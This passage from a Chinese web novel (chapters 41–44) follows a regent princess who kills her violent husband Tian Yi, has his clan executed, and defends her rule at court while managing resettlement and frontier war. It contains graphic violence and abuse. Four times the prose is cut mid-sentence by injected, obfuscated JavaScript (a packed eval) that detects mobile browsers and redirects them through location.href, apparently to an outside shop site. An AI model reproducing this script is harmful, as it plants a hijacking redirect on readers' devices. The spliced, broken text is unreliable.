刘勉看着我,神色镇定:“好,微臣知晓了。殿下,有什么需要我们做的吗?” 我摩挲着靠椅扶手,淡淡道:“让群臣来祝贺我吧。毕竟皇家已经多年没有添丁之喜了。” 我有身孕的消息很快就在朝野之中传开来。我与田家的复合另所有人震惊,就连上朝时裴开项看我的眼神都有些讳莫如深。 我仿若未见,叫人将田议最近正疼在心头上的姬妾请进宫来。 她的肚子比我大许多,像个球一样,圆滚滚的。胡姬见到我,正要跪下请安,我制止她,让人给她拿了个软垫凭几坐下。 她双手护着肚子,不敢抬头看我。 “几个月了?” 胡姬瑟缩了一下身子,局促地转向我:“回殿下的话……七、七个月了……” “月份大了,是不是不太好走动了?” 想来是我的话语太过温柔,胡姬根本想不到我会与她这样讲话,颇为惊讶地抬头看我:“是的,殿下。” “在你眼里,田议是个怎么样的人?” 胡姬小心翼翼地瞧了我一眼:“夫君……啊不是主君,主君是个、是个大丈夫。” 我嗤笑:“大丈夫?他平日对你怎么样?” 胡姬瞧了我一眼:“主君……主君……奴婢就只是田府的下人,主君不过是垂怜奴婢,并没有刻意地对奴婢如何……” 她眸光流转,显然是小女儿的情态。我心中暗自叹了口气,默默地看着她:“天色晚了,今夜就住在宫里吧。萱萱,带胡姬去歇息。” 胡姬神色陡然慌张,挣开萱萱的手立即膝行至我面前:“殿……殿下,奴婢知错了,奴婢真的知错了……奴婢,奴婢生下这个孩子就走,殿下您随便把我送到哪里去都行!真的!求求您放过我殿下……” 我扶起她:“我没有要杀你,我只是让你今夜歇在宫中罢了,你不要多想。” 胡姬将信将疑:“当真?” 我笑道:“田议并不值得我争风吃醋。你先起来吧,地上硌得慌,对你肚子不好。” 胡姬被萱萱扶了起来,抹着眼泪朝我行礼告辞。 夕阳偏斜,我将广明殿的守卫撤去一半,自己独自一人在殿中批着奏疏。阳光渐渐压下来,抬眼望去,远处黑云压境,将昏黄的光线一概遮蔽,见无可见。 豆大的雨点落了下来,在广明殿前的石板上跳跃。一个黑影闯入雨幕,疾步向我跑来。我从几案上站起,看着田议顶着湿透的头发和衣裳站在我面前。 发髻凌乱,发丝盖在他的眼前,阴鸷凶狠的目光透过间隙直直地钉在我身上。我扬起下巴,看着他。 田议拖着沉重潮湿的步伐向我走近:“姜毓卿,你这个贱人!你自己与裴开项私通有孕,还敢说是我的孩子!” “那我有什么办法?我的丈夫只有你啊,所以我的孩子也只能是你的。” “放屁!贱人!□□!”田议死死地盯着我,“胡欢呢?你把她弄哪儿去了?说!” “我身为田家正妻,丈夫的妾室身怀有孕,召见她关心关心她也是情理之中吧?她肚子都那么大了,你看晚上又下雨,我怎好让她回去?她在宫里歇下了。” “歇下?你以为我会信你?”田议指着我,目眦尽裂,仿佛下一刻就要冲上来将我杀了,“你这个蛇蝎心肠的毒妇!杀了我哥哥如今还要来杀我的女人和我的孩子!” “田诠死有余辜,你们整个田 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387999|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家都该连坐,你的命留到今日已是我网开一面。你倒好,非但不感恩,还骂我?田议,我们即便不合,但好歹夫妻一场,你就这样对我?” “你他娘的还给老子戴绿帽子!你哪儿来的脸说这样的话!裴仲琊那个病秧子让你很爽是吗?你肚子里的孩子真是裴仲琊的吗?还是宋君若的?或者说是那个新的小白脸郑辽的?”田议翻着眼皮,面色通红,“你那么多男人,你知道肚子里的孩子是谁的野种吗?” 真是太好笑了,田议说了这么一大堆侮辱人的话,我心中竟没有一丁点儿生气,只是想笑。 我望着他:“不管是谁的种,反正不是你的。” 一道闪电劈下,照得田议的脸色惨白又阴恻,他的眼珠子仿佛要掉出来一般直愣愣地看着我,眼中的震惊与愣怔瞬间化作屈辱的愤怒,面目狰狞地向我扑来:“贱人!贱人!贱人!你们这对奸夫□□!我要让你死无全尸!我要杀了你!!!!!!” 脖子被田议掐住,血气上涌,脑袋嗡嗡作响。惊雷像是打在了房顶,整个广明殿都发出轰鸣之声。我反手抄起几案上的镇纸狠狠地朝田议的脑袋敲了下去,他一声惨叫,额上顷刻鲜血如注。他赶忙去摸自己的伤口,尚未摸到,血就从额角流进了他的眼睛。 我狼狈地爬了起来,猛烈地咳嗽着,举着镇纸与他对峙:“你竟敢谋害公主!” “殿下也说了,我们好歹夫妻一场,你既然是我的妻子,那我打你怎么了?天底下有你这样的妇人吗?私通、善妒、专横、不孝,女戒七条你占了几条?今日你是在这皇宫里,但你本该在我们田府里。在田府,你不听我话,我就算把你打死了那也是家事!你能把我怎么样!” 我冷笑:“你与田诠不愧为兄弟,一样的烂人,一样的该死!” 他双眸猩红,冲上来擒住我的手,拳头就朝着我的肚子挥去。我连忙躬身躲过,拳头打在了我的腰上。疼痛立即蔓延四肢百骸,我跪倒在地蜷缩成一团。 田议一巴掌扇在我脸上,啐道:“□□!你等死吧!” 嘴里漫开血腥味,我干呕几声,艰难地支撑起来,拳头却一下比一下重,浑身的骨头仿佛都快散架了。 “去死!去死!去死!去死!去死!去死!!!!!!!”田议的拳头又高高举起,他好像打累了,开始四处张望有什么趁手的工具能代替他的拳头。 我盯着他,见他转身,立即挺身用手肘掐住他的脖子,一口将耳朵咬了下来,滚烫的鲜血喷在我的脸上,眼前一片血红。可我顾不得了,田议转过头来,被我从发间拔出来的发簪扎穿了眼睛。 田议惨叫连连,面上鲜血浸染,闪电哐哐作响,广明殿仿佛是阿鼻地狱,眼前的人快要变成鬼了。我立即抽出几案下的长剑朝他劈去,田议惊恐地抓住刀刃,鲜血顺着刀尖滴在他的脸上,他的声音模糊而颤抖:“姜毓卿,你……你如果杀了我,裴家不会放过你的!裴家一定会趁机将你赶下台,你……你不会有好日子过的!你绝对不会有好日子过的!” 刀刃刺入他的胸膛,鲜血喷涌,一声惨叫混杂着雷声划破天际。田议拔出眼中的簪子用尽力气向我袭来,我往后一躲,脸上忽然热辣辣地疼——簪子把我的脸划破了。 咚! 殿门忽然被撞开,陈蕴萱萱大喊着“护驾”,一队彤管使冲进广明殿,连忙将我和田议拉开。彤管使一剑封喉,田议半举着的手轰然垂落,头向一边侧去,嘴角的鲜血流了一地,空洞的眼神望着我,像索命的鬼。 “没事了殿下,没事了……”陈蕴握住我冰凉的手,紧紧地攥着,她看着我,我看着她,“这回是真的没事了。” 我暗暗将发抖的手藏进袖子里,好一会儿才恢复平静:“罪人田议,行刺君主,罪不容诛,田家、连坐!” 42. 第 42 章 太医给我把了脉,说胎儿康健,又开了安胎药叫我服下。萱萱带人清理干净广明殿退到屋外守着。陈蕴坐在榻旁,一言不发。 手还是冰凉的,发着细微的抖。孩子还在我的肚子里,而我却去冒这么大的风险。 “殿下,已经没事了。”陈蕴好似一眼就能看穿我的想法,她紧紧地握住我的手,“都过去了。” “可我感觉血还在我的脸上……” “已经擦干净了。”她抬手摸了摸我的脸颊,摊开给我看,“你看,已经没有了。方才洗得很干净。您很累了,先歇息吧。” 我不敢闭上眼睛,攥着陈蕴的手,强迫自己冷静:“明日朝堂上,裴家的人必定会上书谏言弹劾我,说我杀了驸马犯下大错,让我退位还政。你记住,一定要让我们的人紧咬田议刺杀皇室这一点不放,即便我们成了婚,但到底他是臣我是君,君臣纲纪远在夫妻纲纪之上。他犯上弑君,本宫自卫反杀,田家连坐是死得其所!若是不严惩,必将君不君、臣不臣,国不国。还有,你让彤管使今夜就将田府的人围起来,不许他们给任何人通风报信,也不许任何一人逃出去!” “殿下……” “他们还有可能用我腹中胎儿做文章,说她是田家子嗣,也会说我是田家儿媳,若是连坐,我与孩儿也在其中。你们便咬住皇家血脉高于田家血脉,田议已死,婚契已毁,我与他不再是夫妻,便也没了连坐一说。还有……” “殿下!”陈蕴大喊一声。 我微微一愣,她抬手将我脸上的眼泪拭去,“这些我都会处理好的,您先歇息吧。您的脸色好苍白,手也好冷。已经子时了,明日还要上朝呢。” 我好像才感受到眼泪从我的眼眶里流下来,心脏的疼痛再也压抑不住,蜷缩起来哀哀痛苦:“阿蕴,我终于……终于把田家除掉了。我终于……为我的母亲报仇了……终于不用再忍受那恶心的婚姻与丈夫……”我抬起头,喜极而泣,“我好快乐哈哈哈哈……我真的好快乐……” 陈蕴倾身将我冰凉的身体拥住,温柔地、平静地拍着我的背:“是的,你做到了。明天过后,一切都会好起来的。你有了属于你自己的孩子,还为母亲报仇雪恨,你会实现所有的愿望,平平安安的活下去。睡吧。” 紧绷的身体瞬间松懈,困意袭来,视线越来越模糊,最终归于黑暗。 夜半时分,有什么人正在摸着我的肚子。我瞬间惊醒,宋君若褪去铠甲,一身素衣坐在我身边。温暖的大手隔着被子摩挲着,我一把抓住了他。 “阿若……” 宋君若没有说话,侧躺下来看着我。我将被子分与他一些,睡意朦胧,可他却仍旧睁着眼。 “你……你怎么来了?”我努力撑着神思,根本不知道自己说了什么。 宋君若还是没有说话,眼睛像静潭一般望着我。 “我……”我不知道该对他说什么,但是有些事情他是必须知道的,作为亲人,作为挚友,“我有孕了。” 宋君若掩下眸子,我看不清他的神色,只感受到他环抱住我的双手轻柔又小心:“为什么不找我帮忙?走这一步险棋,万一真的出事了,你让我怎么办?” “不会出事的……我都安排好了。什么都安排好了。” “连我都安排好了?把我调去北宫门,让我远离广明殿,到现在才能跑到你身边?” 我捏了捏他的耳朵:“如果你守在广明殿的门口,那这就不是一场意外,而是我可以谋害。只有你不在,他们才会相信这是场真正的意外,田议蓄意谋害公主,被公主反杀至死。” 宋君若没有说话,但是呼吸变得迟缓冰冷,他好像有点生气了:“以后不可以这样。” “知道知道……你别说话了,我好累,我要睡觉了。” “我没有在开玩笑姜毓卿。”他的声音忽然严肃起来,“把我调到南宫门,我要守着广明殿。” “这个……我自有打算……”我轻轻地拍了一下他的脑袋,翻了个身,“睡觉了,我好困。” 宋君若没有再说话,只是抚上我的肚子,将我贴得更近些。耳边是他热热的呼吸:“这个孩子是裴仲琊的吧?” 我一个激灵瞬间清醒,却仍旧维持着原样没有出声。 宋君若继续说着:“我想通姐姐,这么长的时间没来见你,我想过忘记你,忘记我们之间那些越界的行为,但是我发现我根本忘不了,我还是无法把你当做纯粹的姐姐。所以……我决定放过自己。我会永远陪在你身边,无论以什么样的形式和身份,你的弟弟,你的将军,你孩子的舅舅都可以。我什么都不在乎,我只要你。所以我求求你,只要你不推开我,我就永远陪着你。” 雷雨过后的夏夜偶有几声蝉鸣蛙叫,纱帘被风吹得微澜波动。我眨干眼中的泪水,转过身去拥住宋君若。他的身体好温暖,好像能把我融化。 “睡吧。”我说道,“不赶你走了。” 怀抱变得更紧了,宋君若的脑袋埋在我的颈窝里,像只受伤的小狗。他瓮声瓮气,仿佛真的是受了天大的委屈:“嗯……” 第二日早朝,果然不出我所料,以太子太保纪英为首的一派人马纷纷面刺我刑罚过重,滥用职权,杀夫灭门,为妻为女,不忠不孝不仁不义,理当退位还政,由姜旻这个皇帝来发落我。 我听见这句话的时候都觉得大齐的朝廷要完了。但是转念一想,我大齐蒸蒸日上,要完的还是这帮老古董。 以及姜旻这个小流氓。 还没等我开口,底下的人就和纪英吵了起来。 “纪太保此言差矣,田议虽为驸马但终归是大齐的臣子,公主虽嫁于田家,但仍旧是我朝皇室,是当今卿主。田议以下犯上,乃至弑君,该杀!田家多年来更是罔顾朝纲,田诠私通贪污,田议犯上作乱,早就该连坐,殿下念着驸马情谊才网开一面。田家非但不领情还变本加厉。殿下已是仁至义尽,何来不仁不义之说!” “你这个奸臣佞臣!我今日就算是血溅当庭我也要拼死直谏!牝鸡司晨,祸国殃民!此前陛下圣体不安,殿下才代为执政,如今陛下已然成家立业,殿下应该效仿周公还政于君才是真正应该做的! “然而殿下非但把持朝政不还,还罔顾妇道,杀夫连坐,毫无人伦之情。试问殿下日后腹中胎儿出生,该如何同您的孩子解释父亲何在?您又如何向天下百姓解释何为人伦亲情啊?” 我瞥向纪英,他已经老了。在我长大后,父亲便将我与姜旻的教学区分开来,他继续学习他的经史子集,而我该去学一学三从四德,女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404366|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戒女德了。我的课我从来不听,甚至还会偷溜去听纪英给姜旻讲课。那时的他头发仍是黑色,没过几年,竟是满头白发了。 纪英学识高但为人迂腐,父亲选他做姜旻的老师,难怪教出个冥顽不灵的草包。 我看着他笑了笑:“纪太保的意思难道是要本宫毫不还手,任人打杀吗?等到禁军和彤管使冲进来,你们这个大臣更愿意看见的是本宫的尸体而非田议的,是吗?” 纪英脸色变了变,我没给他反驳的机会:“纪太保也是看着本宫与陛下长大的,圣人道一日为师终身为父。您作为陛下的老师便如同本宫的老师,老师……是更祈愿本宫去死吗?本宫上朝日日垂帘,所以你们看不清本宫的面容,本宫也不愿众卿担忧,在众卿面前难堪。但本宫如今脸上,脖子上,身上全是伤痕,本宫乃大齐雍丘长公主是陛下的胞姐,侮辱本宫便是侮辱大齐、侮辱殿下。皇家威严高于一切,即便是这样,纪太保还觉得本宫杀了田议是错的?连坐田家是错的?! “再说这人伦亲情。试问纪太保若是您的女儿身怀有孕却还要被您的女婿殴打,您还会让您女儿忍耐还是和离?在座的诸位爱卿,你们想想若是你们,可会让女儿仍旧待在婆家受尽折磨?”我定定地瞧着堂下站着的纪英,“不过……或许像纪太保这般循规蹈矩之人,顶多将女儿接过来住几天,日后还是会送回去的吧?” “既已出嫁,便是夫家之人,有何矛盾必是以夫家为尊。而殿下自成亲后便久居未央宫,不事姑舅夫君已是过错,在宫中幽禁陛下、擅权专横更是大忌。臣以死相谏,恳请殿下退位请君,置善乾坤,还政清明。” “幽禁陛下?”宋君若笑出声,“纪太保说的这是什么话?卿主是临危受命的长公主,挽救大齐于水火。陛下不愿出兵讨伐五王,是殿下力挽狂澜统辖各方势力击退阿勒奴与五王。何况陛下幽居麟趾殿,是因为圣体欠佳,裴相亦可作证。桩桩件件都是为国为民,殿下夙兴夜寐,我们歃血戮敌,怎么到了纪太保的嘴里就是祸国殃民了呢? “殿下乃天龙之女,是大齐长公主,承先祖王霸之气,岂可用俗世女流道德衡量约束之。纪太保自己年纪大了墨守成规,就不要将这些规矩强加到殿下头上。” 我算是知道为什么小时候父亲每每下朝都是眉头紧锁,因为上朝除了议事以外只有无尽的争吵。公说公有理婆说婆有理,一早上吵下来,脑子都要崩开了。 “老祖宗的规矩千百年来如此,君为臣纲,夫为妻纲,比之陛下,殿下乃臣子,比之田家,殿下乃妻子,如何能越俎代庖,专权恣肆至此!若是百姓群臣效仿,殿下又该当如何?若您腹中孩儿得知自己母亲杀死了自己的父亲,自己的父族,那又该如何!” 纪英是打算与我硬刚到底了。我望了一眼裴开项,嗤笑道:“一个窃国弄权、私通贪污的家族,一个后宅□□,成事不足的父亲,有什么好认的?田议殴打本宫之时可曾想过我腹中孩儿也是他的孩子?他未曾想过,那本宫也不必去想。” 小腹微微隆起,我摸着这个已在我身体里存在三月有余的孩子,掀开帘子,叫她与我一同走到众人面前:“这不是田家的孩子,也不永远不会姓田,入田家祖坟。她是我们姜氏的皇家血脉,是我的孩子,不属于任何人,只属于我。” 43. 第 43 章 他们怎么也想不到我会如此的离经叛道。一个女人,一个已经嫁人的女人,杀了自己的夫君还要让孩子跟自己姓。 我懒得管他们,这件事情在我心中已是定局,他们想要掰扯多久我都奉陪到底,但最后输的,只有他们。 我借着禁军看守不力的缘由,提了宋君若和方宏的官职,将宋君若安排在了内宫,方宏安排在了北军,卫尉的位置则是给了卢迁。卢迁与宋君若是击退阿勒奴的战友,年龄又相仿,关系极好。卢家子孙为人清正廉洁,几朝元老根基深厚,又耻于结党营私,与方宏等人必定也聊得来。如此一来,未央宫禁军、长安城南北两军都有了我的人且官位还不小,以后行事便更加方便了。 一石三鸟,我觉得我这顿打挨了就挨了吧。只要孩子还在我肚子里,我就能接受一切。 徙民之事提上日程,深夜我与陈蕴一同前往天禄阁查阅文档。天禄阁灯火通明,彤管使站在一旁,端着盘子等我将书籍一册册拿下来。陈蕴已经选了一些舆图地志坐在几案边上仔仔细细地看了起来。 窗外树影晃动,我闻声望去,裴仲琊被外头的彤管使拦下,正恍惚地望着我。 阁内的烛光站在他苍白的脸上,总算是给他添了几分人气。 这几日他都没有上朝。他大病了一场——因为我。 如今他知道了我身怀有孕的消息,心中会作何感想呢?他会知道那是他的孩子吗?还是会觉得那是我和田议……或者和阿若的孩子? 我看着他,他看着我,眼底有哀伤和恳求。 肚子好像被什么东西踢了一下,我抽了口冷气,急忙捂住。裴仲琊拨开彤管使的手就冲到窗前,他看着我放在肚子上的手,欲言又止。 无法再视而不见了。 “裴御史深夜来天禄阁,是来做什么?”我对他笑了笑,天知道我笑得有多难看。 凑得更近,我能更清楚的看见他。眼中血丝通红,嘴唇也干裂了,发丝凌乱,全然不是曾经那个玉树临风,让人见之难以忘记的人。 是我把他变成了这样。 “你……”他艰难地蹦出一个字,声音沙哑极了。 拂退彤管使,我走到窗前,与他隔着一臂的距离,这是君臣之间该有的距离。 “近几日朝堂诸事纷扰,你身体素来不好,还是不要来回跑了。我准你一月假,歇朝吧。” “泱泱!”他在发抖,“我……你……” 我能感受到他炙热的目光落在我微隆的小腹上,他想问什么可又不敢问什么。 我没有回应他,往外瞧了一眼天色,招呼着外头的彤管使道:“送裴御史回去吧。” “泱泱!”裴仲琊喊了出来,我的心忽然被揪紧,“我就问一句话,就一句……得到了答案,我就走。” 我平静着神色和语气,疏离道:“真正的答案,朝堂之上我已经给了,就是那样,不必再问。” 我转身离开,没有去看他脸上的神色,陈蕴听见动静,朝我走来。我对着众人招招手,领着他们走出天禄阁回广明殿去。 陈蕴侧头看了看仍旧站在窗边的裴仲琊,张了张嘴,终究是什么话都没说。 穿过天禄阁郁郁葱葱的花苑,光束被我们抛在身后。转角走出花苑,我稍稍扭过头去看树荫掩映下的那个人。他仍旧站在那里,扶着石柱,遥望着我离开的位置。 心脏隐隐作痛,我攥紧拳头,快步离去。 - 田家伏诛,谁都没能阻止我的脚步。纪英也因朝堂诳语被我勒令歇朝三月。朝野上下战战兢兢,都不再敢提孩子与田家的事。 我将胡姬秘密送出未央宫,送到了雍丘去,一来雍丘养人,二来我能够监视。我因为同为母亲的心软而宽恕了她,但我不能因此放纵了她腹中的孩子。只要他们听话,这一辈子好好活不成问题。 孩子已经四个月了,我与陈蕴翻遍了古籍,给孩子起了个名字叫姜兆华,意为大齐的亿万光华。害喜也不似前几个那般严重,我最爱的肉竟然能够吃下了。只是都说妇人在孕中口味诡异,没想到我也不能幸免,喜吃野菜野花,还爱闻新翻的泥土。宋君若知道后,每日值守结束,就去上林苑替我采摘一些野菜,挖一些泥土。野菜让厨房做成羹汤,泥土则是给我用来种花,好让我嘴馋时就薅一把,吃上一口。 徙民之事也大致敲定,就定了丹阳,从江北最荒芜贫穷的七郡迁过去三千流民开垦山川河田。 粮种、田地、农具都已着丹阳准备,如今最头疼的还是监督此事的人选与世家贵族的虎视眈眈。 占据良田的是他们,不愿开垦的也是他们。如今朝廷出钱出力去江南开荒,他们见着有利可图,一个个就闻着味上赶着来占便宜。如今碍于我的威严不敢明目张胆,但等人到了丹阳,天高皇帝远,我根本管不了他们。 得想个法子治一治他们。 冯曦是个脑子活络不怕得罪人的,她献计虽不厚道,但却管用非常。 她说大多世家贵族不敢直接去收购土地,是怕彼此产生争执有人会直接告到我地方来,这样大家都得不偿失。但是他们其中有人愿意铤而走险,从徙民开始便混入其中,从一开始就分一杯羹。我免了徙民三年的田租,可三年后他们当中若是还有人还是交不上田租,那这些田就会被一早混入队伍的世家贵族买走,那百姓们的心血又要白费了。 而我们要做的,就是在一开始把这些投机取巧之人逼走。让徙民们从最难开垦,瘴气最多,最陡峭的山岭开始,一点点往山下挖。受过饥荒逃难的人根本不怕吃这点苦,只有从来都吃好喝好的人才会觉得这不是人过的日子然后逃掉。这样根本不需要半年,不出三个月,该跑的全部跑了,留下来的就是真正需要土地的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426196|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 我笑着说这个方法好,就是太缺德,有些殃及池鱼了。 冯曦说:“并非殃及池鱼,比起吃树皮吃泥土,有土地有盼头的日子对那些流民来说,并不算什么苦难。” 我点了点地上的地图,将丹阳四周的诸侯国指给他们看:“丹阳周围有三个诸侯国,都是太爷时期削爵的诸侯,成不了什么气候,但难保他们不会从中牟利。我打算在丹阳曲水河兴修大坝,截取下游诸侯农耕水源,除控制广陵、会稽、吴县外,还可遏制江东水患,调节丹阳农业用水,壮大其根基与势力。日后便可与那些诸侯国平分秋色。我也不必再担心江南各诸侯的势力了。等到日子长了,诸侯子孙越来越多,但是可以分封的田地越来越少,我们又掌握着他们的水源、经济、粮产,到时候拿掉他们就是轻而易举的事情了。” 水库并不好建,取材不难,找工不难,选址、勘测、设计大齐都有能人,我彤管阁也有不少好手,但是这最最难的,和徙民一样——那就是找谁负责和监督。 这都是需要举国之力去完成的事情,徙民不当,途中若是有人死亡或被人挑唆起义,那又是我政事败绩一笔;修坝不当,溃堤或是有人贪污腐败劳民伤财,那我又要花上上倍的精力去摆平与处理。何况朝野上下,虎视眈眈期望我失败的大有人在。 我能找谁呢?我应该找谁呢? 刘勉居于治粟内史之位不得离开,宋君若守卫禁廷更是需要寸步不。只有……只有他们。 我选择了裴仲琊、郑辽、王铮意与冯曦。 我不得不承认我利用了裴仲琊,我对他说出如此狠绝的话,我让他效忠自己的家族,但是我知道他根本不会这么做。他只会做自己想做的和自己认为对的事情。 他必须离开,为了我腹中的胎儿,更为了我的江山社稷。 他裴家的身份、才智和心甘情愿都是此事的绝佳人选,更不要说剩下三人对我的忠诚以及他们的智谋。 裴开项赞同我的决议,却不赞同我的人选,他又点选了几人加入队伍里。我笑着接受。 田家死有余辜,但我也必须给裴开项一点甜头,安抚他,让他能够继续与我相安无事。让我安安稳稳地把他的孙子生下来,然后再继续跟他作对。 夏末之时,我于宫城墙上目送四人远去,冯曦兴高采烈地回头向我招手,用嘴型说着“必定完成使命”。王铮意与郑辽笑看着她,骑着马与她并肩。只有裴仲琊,只有他,没有看我,没有回头,鉴别时也没有对我说一句话。我只得望着他萧条瘦削的背影转身离去。 或许我们的话早就说完了,再说下去,也只能是互相伤害的刀子。 远行的队伍渐渐消失在横门大街,我与群臣启程返回未央宫,但见一监视麟趾殿的彤管使悄悄走来,于我耳边轻声道—— “殿下,皇后娘娘有喜了。” 44. 第 44 章 今年的秋天冷得非常快,刚过了八月,庭院里的树叶就哗哗地掉。广明殿烧起了炭火,我与陈蕴在殿中看着远方送来的文书。 国内之事大多平稳,丹阳开荒播种还算顺利,修坝位置也差不多敲定要着手开凿。各郡县田租也已都上缴进京,粮食炭火还有木柴的价格都在合理的范围内,今年百姓过冬应当不成问题。 批完国内的奏疏,又看边境送来的战报。倒不是大齐与边境又打仗了,是阿勒奴与禺戎的世仇——禺戎强弩之末,余下的十几个部落被阿勒奴直逼到西南边境,如今已经蚕食得只剩下几个了。 不怕周围有敌人,就怕敌人势力大。放在以往,北边虽有禺戎与阿勒奴两个强大的游牧民族,但二者相互制衡压制,并不会给齐国带来多大的危险,两个国家对我们动手前都要想想另外一方是否会在身后偷袭。可如今却是大为不同,阿勒奴侵占了禺戎水草最丰茂,最适合放牧的地方,掳走了他们的子民马匹,抢走了他们的粮食牛羊珠宝——阿勒奴变得更加强大了。加之版图扩张,腹地纵深,日后要把阿勒奴打回老家更是难上加难。 我看完奏疏叹了口气,靠在凭几上深思。 陈蕴接过奏疏说道:“虽说阿勒奴此前投降,但这种蛮夷之族根本不可信,今日能够屈服,明日被他们钻了空子也会转头倒戈。殿下还是要早做准备。” “阿勒奴南下一直都有南下的野心,我们打了近百年,你见他们什么时候安分过?如今我们修了长城尚可有一丝安稳,可西域诸国……阿勒奴不会放手的。” 禺戎与阿勒奴的战况成为近几日朝政的焦点,群臣纷纷扰扰,我按着太阳穴往下看去——方通一脸冰冷。这几日他什么话都没说。 他又去禺戎找了好几次。 我看着他苍老忧伤的面容,心中颇为感慨。 若是我的母亲远在他乡杳无音讯,那我会竭尽所能去寻找吗?答案是肯定的。所以我很理解他。 我们都是无根的孩子。 阿勒奴追逐禺戎到后亩山脚下,一部分人冲入茫茫雪山之中再无音讯,另一部分落单的被阿勒奴骑兵斩杀,只留下了女人和孩子。 这一场单方面的屠杀终于在长安落下第一片雪花的时候结束。 我肚子已经六个月了,难以坐在凭几上批奏疏,将一切东西都挪到榻上,看见禺戎灭族消息时重重地叹了口气。 萱萱送来暖炉和酸梅子汤,我刚喝了一点,陈蕴就走了进来,带来一些孩子穿的百家衣、金锁片、玩具什么的。我叫萱萱收了起来,陈蕴却还在榻边站着。 我心头一沉:“发生什么事了?” 陈蕴抿嘴,眉头深锁,从袖中掏出一个小竹筒——那是北境密报,阿勒奴收拾完禺戎的残兵,开始将眼睛放到西域身上了。 他们不敢公然打我们的主意,所以只好暂时将矛头对准西域,但这和与我们作对没有任何分别。 我烦躁极了,沉重的胎儿压得我喘不过气,国事也就算了,这些个蛮夷还天天不让我省心!天天找茬!狠狠地打他们一顿才能老实! 我心中咬牙切齿,却不能真的直接下令打过去。 那种五王谋逆前刀悬脖子的感觉又回来了,可那时的我一身轻松,而今一身两命根本遭不住这般忧思,又发热了。 夜里睡得迷迷糊糊,好像有人瞧了我一眼,又在我身边睡下,又好像是在榻边打了地铺。我浑身烧得难受,嚷嚷着要喝水,那人起夜倒了碗水喂我喝下又守了我半宿。我不知道自己是什么时候睡着的,也不知那人何时走,一觉天亮已日上三竿,早朝歇朝,我叫来萱萱问昨日是否有人来过? “表公子轮班后来待了大半宿呢,天还没亮又去轮岗了。” 纱幔飘飘荡荡,榻边干干净净,窗外的大雪又开始没日没夜地下。 “去给阿若送件裘衣。”我吩咐道。 萱萱疑惑:“这……表公子怕是不会穿。” 我笑了:“随便他穿不穿,我只管送。快些拿去吧。” 萱萱应声从我衣橱里挑了件狐裘批了绒衣就往外跑。 “哎哟!”殿外忽然传来两个女人的惊叫。 “陈相!对不住对不住,我没瞧见您……” 还未听见陈蕴的回应,她便火急火燎地冲进内殿,根本顾不得身上的寒气几步跑到我面前,递上手中的帛书:“末宛与阿勒奴的商人在边境起了冲突,演变为大规模械斗。停战后,末宛商人仍旧怀恨在心,在夜间于阿勒奴商人馆驿水井里投毒,毒杀了十五个阿勒奴人,私吞了他们的货物、马匹和金钱。” “这么大胆子?” “投毒的是末宛王后的族弟。” 我眼皮直跳,心中预感不祥:“那阿勒奴那边呢?” “是左谷蠡王的商队……”陈蕴神情极为扼腕,“还是专供马具粮草的那一支。” “哎哟,这……我……这……哎!” 肚子大,头更大。 游牧民族打仗是真不嫌累,打完这家打下家,从不给自己的军队百姓喘口气。 末宛在西域诸国中实力还算强劲,尤其是琉璃煅烧的工艺无人能比,周围的国家都乐意与他们做生意。人做生意来钱快,但国家只懂得做生意丧命快。西域诸国近几十年在我们的掌管下一直相安无事,但如今阿勒奴入侵, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495873|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这弊端就彻底暴露了——末宛根本就没有像样的军队。国土也小,阿勒奴的骑兵连夜跑几圈就能从末宛的东边跑到西边。 他们只能向我们求援,而我们不得不出兵。 西域虽国家众多,但大齐设立了西域都护府,西域诸国又年年朝贡,早已能看作是大齐疆域的一部分。阿勒奴在这里破一个口子而我们没有出手相救,那这么多年在西域的经营就全部白费了。 天边的太阳东升西落,而我还陷在这噩耗里出不来——不出几日,末宛的求援军报就会送到我广明殿的桌上。 又要打仗了。 